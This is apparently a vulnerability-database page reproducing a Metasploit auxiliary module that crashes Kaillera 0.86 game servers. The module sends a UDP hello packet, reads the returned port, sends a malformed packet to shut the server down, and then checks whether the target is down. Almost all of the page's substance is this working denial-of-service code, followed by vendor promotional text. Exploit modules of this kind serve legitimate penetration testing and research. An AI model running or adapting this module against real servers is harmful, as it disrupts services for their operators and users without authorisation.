Lucene search
+L

Kaillera 0.86 Server Denial of Service

🗓️ 07 Jul 2011 19:33:55Reported by Sil3nt_Dre4mType 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

Kaillera 0.86 Server DoS by Malformed Packe

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kaillera 0.86 Server Denial of Service' ,
      'Description'    => %q{
          The Kaillera 0.86 server can be shut down by sending any malformed packet
        after the initial "hello" packet.
      },
      'Author'         => ["Sil3nt_Dre4m"],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2011-07-02'))

    register_options([
      Opt::RPORT(27888)
    ])
  end

  def run
    # Send HELLO to target
    connect_udp
    print_status("Sending Crash request...")
    udp_sock.put("HELLO0.83\0")
    res = udp_sock.recvfrom(15)
    disconnect_udp

    if res[0] =~ /HELLOD00D([0-9]{1,5})/
      port = $1
    else print_error("Connection failed")
      return
    end

    # Send DOS packet
    connect_udp(global = true,'RPORT' => port)
    print_status("Sending DoS packet to #{rhost}:#{port}...")
    udp_sock.put("Kthxbai")
    disconnect_udp

    # Check is target is down
    connect_udp
    print_status("Checking target...")
    udp_sock.put("HELLO0.83\0")
    res = udp_sock.recvfrom(15)
    disconnect_udp

    if res[0] =~ /HELLO/
      print_error("DoS attempt failed.  It appears target is still up.")
    else
      print_good("Target is down")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation